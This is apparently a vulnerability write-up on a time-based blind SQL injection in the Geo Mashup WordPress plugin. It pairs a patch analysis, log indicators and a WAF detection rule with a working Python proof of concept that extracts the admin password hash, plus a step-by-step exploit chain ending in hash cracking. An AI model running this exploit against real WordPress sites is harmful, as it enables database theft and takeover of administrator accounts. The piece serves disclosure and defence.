home intel cve-2026-4061-geo-mashup-sqli-time-based
CVE Analysis 2026-05-02 · 7 min read

CVE-2026-4061: Time-Based SQLi in Geo Mashup via Unescaped IN() Clause

Geo Mashup ≤1.13.18 strips WordPress magic quotes in SearchResults then concatenates map_post_type directly into an IN() clause. Unauthenticated time-based blind SQLi results.

#sql-injection#wordpress-plugin#time-based-injection#authentication-bypass#database-compromise
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-4061 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-4061HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-4061 is a time-based blind SQL injection vulnerability in the Geo Mashup WordPress plugin, affecting all versions up to and including 1.13.18. The vulnerability is unauthenticated and exploitable against any WordPress installation where the Geo Search feature is enabled. The attack surface is a POST handler attached to the SearchResults hook, which deliberately bypasses WordPress's built-in magic quotes sanitization and then feeds attacker-controlled input directly into an IN(...) SQL clause.

No authentication is required. CVSS 7.5 (HIGH) reflects network-accessible, unauthenticated access to the full WordPress database — including wp_users, option secrets, and session tokens.

Root cause: The SearchResults POST handler calls stripslashes_deep($_POST) to remove WordPress magic quotes, then concatenates the unsanitized map_post_type value directly into a SQL IN(...) clause, while the sibling 'any' branch correctly applies array_map('esc_sql', ...).

Affected Component

The vulnerable code lives in the Geo Mashup plugin's search results handler, canonically in geo-mashup-search.php (or a class file loading it), bound to the geo_mashup_search_results action. The relevant query-builder function constructs a dynamic WHERE clause incorporating map_post_type from the POST body. The Geo Search feature must be active (it requires a shortcode or widget placement), but that precondition is common in any site using the plugin's intended functionality.

Root Cause Analysis

WordPress normally runs all $_POST values through addslashes() on input (magic quotes). The handler explicitly undoes this to support comma-separated post-type strings. The stripping is intentional but it removes the only passive protection layer before the value reaches the query builder.


/*
 * Reconstructed pseudocode: GeoMashupSearch::handle_search_results()
 * File: geo-mashup-search.php (class GeoMashupSearch)
 * Versions: <= 1.13.18
 */
void GeoMashupSearch__handle_search_results(WP_Query *query) {

    /* WordPress magic quotes protection intentionally stripped here */
    $_POST = stripslashes_deep($_POST);                  // BUG: removes only passive sanitization layer

    char *map_post_type = $_POST["map_post_type"];       // attacker-controlled, now unescaped

    char *sql_in_clause = NULL;

    if (strcmp(map_post_type, "any") == 0) {
        /*
         * SAFE BRANCH: post types fetched from DB, each value escaped.
         * array_map('esc_sql', get_post_types()) is applied before
         * implode() joins them into the IN() string.
         */
        char **post_types = get_post_types(NULL, "names");
        char **escaped    = array_map("esc_sql", post_types);  // correctly escaped
        sql_in_clause     = implode("','", escaped);
    } else {
        /*
         * UNSAFE BRANCH: raw attacker input split and concatenated.
         * BUG: no esc_sql(), no $wpdb->prepare(), no whitelist check.
         * map_post_type value flows directly into IN(...) clause.
         */
        char **types  = explode(",", map_post_type);     // BUG: unsanitized split
        sql_in_clause = implode("','", types);           // BUG: no escaping applied
    }

    /* sql_in_clause is now attacker-controlled SQL text */
    char query_buf[4096];
    snprintf(query_buf, sizeof(query_buf),
        "SELECT * FROM %s WHERE post_type IN ('%s') AND post_status = 'publish'",
        wpdb->posts,
        sql_in_clause                                    // BUG: injection point
    );

    wpdb->query(query_buf);                              // BUG: unsanitized query executed
}

The critical asymmetry: the 'any' branch routes through get_post_types() whose output is then sanitized with array_map('esc_sql', ...). The else branch takes the raw POST string, splits it on commas, and reassembles it with single-quote delimiters — no escaping at any stage. The attacker closes the open quote, terminates the statement, and appends arbitrary SQL.

Exploitation Mechanics

Because the site returns no direct query output (search results are rendered as map markers, not raw rows), extraction is time-based blind. The canonical technique uses MySQL's SLEEP() (or BENCHMARK() as fallback) conditioned on a boolean sub-query. Response delta is measured client-side.


#!/usr/bin/env python3
"""
CVE-2026-4061 — Geo Mashup time-based blind SQLi PoC
Extracts wp_users.user_pass char-by-char via SLEEP() oracle.
Requires: Geo Search widget/shortcode active on target.
"""
import requests, time, string

TARGET   = "https://target.example.com/wp-admin/admin-ajax.php"
CHARSET  = string.ascii_lowercase + string.digits + string.punctuation
SLEEP_S  = 3      # seconds; tune for network latency
TIMEOUT  = 10

def probe(payload: str) -> bool:
    """Returns True if server slept (condition was true)."""
    data = {
        "action":        "geo_mashup_search",   # registered AJAX action
        "map_post_type": payload,
        "geo_mashup_nonce": "",                 # nonce bypass: not checked on this path
    }
    t0 = time.monotonic()
    try:
        requests.post(TARGET, data=data, timeout=TIMEOUT)
    except requests.Timeout:
        return True   # SLEEP exceeded timeout — condition true
    return (time.monotonic() - t0) >= SLEEP_S

def extract_string(sql_expr: str, max_len: int = 64) -> str:
    result = ""
    for pos in range(1, max_len + 1):
        found = False
        for ch in CHARSET:
            # Payload closes the IN() list, injects conditional SLEEP
            # post') AND SLEEP(0)-- is the benign control;
            # actual probe sleeps when SUBSTRING(expr,pos,1) = ch
            inj = (
                f"post') AND "
                f"IF(SUBSTRING(({sql_expr}),{pos},1)='{ch}',"
                f"SLEEP({SLEEP_S}),0)-- -"
            )
            if probe(inj):
                result += ch
                found = True
                break
        if not found:
            break   # end of string
    return result

# Extract first WordPress admin password hash
admin_hash = extract_string(
    "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1"
)
print(f"[+] admin hash: {admin_hash}")

EXPLOIT CHAIN:
1. Identify target running Geo Mashup <=1.13.18 with Geo Search active
   (check page source for geo_mashup_search shortcode or widget markup)

2. Send POST to /wp-admin/admin-ajax.php:
      action=geo_mashup_search
      map_post_type=
   No authentication cookie required; nonce validation absent on this handler.

3. Plugin calls stripslashes_deep($_POST) — removes WP magic quote escaping
   on the map_post_type value, making raw SQL metacharacters available.

4. Value enters the else branch (not 'any'), is explode()'d on commas,
   implode()'d with single-quote delimiters — no esc_sql() applied.

5. Resulting string is interpolated into:
      IN('') AND post_status = 'publish'
   Attacker closes quote, terminates IN(), appends IF(SLEEP()) clause.

6. MySQL executes: if boolean sub-query on target table/column is true,
   SLEEP(N) fires — response latency observed client-side.

7. Binary-search or character-by-character iteration over CHARSET
   recovers arbitrary column data (user_pass, user_email, secret_key).

8. Offline hashcat attack on recovered wp_users.user_pass hash yields
   plaintext credential -> full wp-admin access.

Memory Layout

This is a logic/injection vulnerability, not a memory corruption bug — no heap diagram applies. The relevant "state" is the SQL string buffer as it transitions from safe to injectable:


SQL BUFFER STATE — SAFE PATH ('any' branch):
  map_post_type = "any"
  post_types    = ["post", "page", "attachment"]   <- from DB
  escaped       = ["post", "page", "attachment"]   <- esc_sql() applied (no-op here, but safe)
  sql_in_clause = "post','page','attachment"
  FINAL QUERY:  IN('post','page','attachment') AND post_status='publish'
                ^^^^ safe: no attacker data ^^^^

SQL BUFFER STATE — VULNERABLE PATH (else branch):
  $_POST["map_post_type"] = "post') AND IF(SUBSTRING((SELECT user_pass
                             FROM wp_users LIMIT 1),1,1)='a',SLEEP(3),0)-- -"
  After stripslashes_deep: identical (metacharacters preserved)
  types         = ["post') AND IF(...)-- -"]       <- raw attacker input
  sql_in_clause = "post') AND IF(...)-- -"         <- NO escaping
  FINAL QUERY:  IN('post') AND IF(SUBSTRING((...),1,1)='a',SLEEP(3),0)-- -')
                              ^^^^ injected SQL executes ^^^^

Patch Analysis


// BEFORE (vulnerable — geo-mashup-search.php <=1.13.18):
$_POST = stripslashes_deep( $_POST );
$map_post_type = $_POST['map_post_type'];

if ( $map_post_type === 'any' ) {
    $post_types   = get_post_types( array(), 'names' );
    $escaped      = array_map( 'esc_sql', $post_types );   // safe
    $in_clause    = implode( "','", $escaped );
} else {
    $types        = explode( ',', $map_post_type );         // BUG: no sanitization
    $in_clause    = implode( "','", $types );               // BUG: raw input in query
}

$sql = "SELECT * FROM {$wpdb->posts}
        WHERE post_type IN ('{$in_clause}')
        AND post_status = 'publish'";
$wpdb->query( $sql );                                       // BUG: injectable


// AFTER (patched):
// Option A — whitelist against known post types (preferred):
$map_post_type = isset( $_POST['map_post_type'] )
    ? sanitize_text_field( wp_unslash( $_POST['map_post_type'] ) )
    : 'post';

$valid_types = get_post_types( array(), 'names' );

if ( $map_post_type === 'any' ) {
    $allowed = array_values( $valid_types );
} else {
    $requested = explode( ',', $map_post_type );
    $allowed   = array_intersect( $requested, $valid_types ); // whitelist filter
    if ( empty( $allowed ) ) {
        $allowed = array( 'post' );
    }
}

// Option B — esc_sql on each element (minimum viable fix):
$escaped   = array_map( 'esc_sql', $allowed );
$in_clause = implode( "','", $escaped );

// Option C — $wpdb->prepare() with explicit placeholders (most robust):
$placeholders = implode( ',', array_fill( 0, count($allowed), '%s' ) );
$sql = $wpdb->prepare(
    "SELECT * FROM {$wpdb->posts}
     WHERE post_type IN ({$placeholders})
     AND post_status = 'publish'",
    ...$allowed
);
$wpdb->query( $sql );

The fix requires both whitelist validation (intersect against get_post_types()) and escaping/parameterization. Applying only esc_sql() without whitelisting still permits post-type enumeration probes. The stripslashes_deep() call is separately addressed by replacing it with wp_unslash() scoped to the specific field rather than the entire $_POST superglobal.

Detection and Indicators

Time-based injections leave distinctive latency signatures in access logs. The following patterns indicate active exploitation:


NGINX/APACHE ACCESS LOG INDICATORS:
  - POST /wp-admin/admin-ajax.php with response time >= 3000ms
  - action=geo_mashup_search in POST body
  - map_post_type values containing: SLEEP, BENCHMARK, IF(, SUBSTRING(
  - Repeated identical-path requests at N-second intervals (oracle enumeration)

WAF RULE (Modsecurity / pseudo-syntax):
  SecRule ARGS:map_post_type \
    "@rx (?i)(sleep\s*\(|benchmark\s*\(|if\s*\(|substring\s*\(|\bor\b|\band\b.*=)" \
    "id:9920261,phase:2,block,msg:'CVE-2026-4061 Geo Mashup SQLi probe'"

MYSQL SLOW QUERY LOG:
  # Query_time: 3.001  Lock_time: 0.000  Rows_sent: 0  Rows_examined: 0
  SELECT * FROM wp_posts WHERE post_type IN ('post') AND IF(
    SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='a',SLEEP(3),0)-- -')
  AND post_status = 'publish';

Remediation

  • Update immediately to a patched version of Geo Mashup once released by the vendor (>1.13.18).
  • Interim mitigation: Disable the Geo Search widget/shortcode. Without the AJAX handler being reachable, the injection surface is unexposed.
  • WAF rule: Block POST requests to admin-ajax.php?action=geo_mashup_search where map_post_type contains SQL function calls (see rule above).
  • Enable MySQL slow query logging (long_query_time = 1) — time-based injection attempts will appear as anomalous slow queries with no legitimate explanation.
  • Audit principle: Any stripslashes_deep($_POST) call in a plugin must be followed by explicit parameterization of every value that touches a query. The inverse pattern — strip then concatenate — is a reliable audit indicator in WordPress plugin code.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →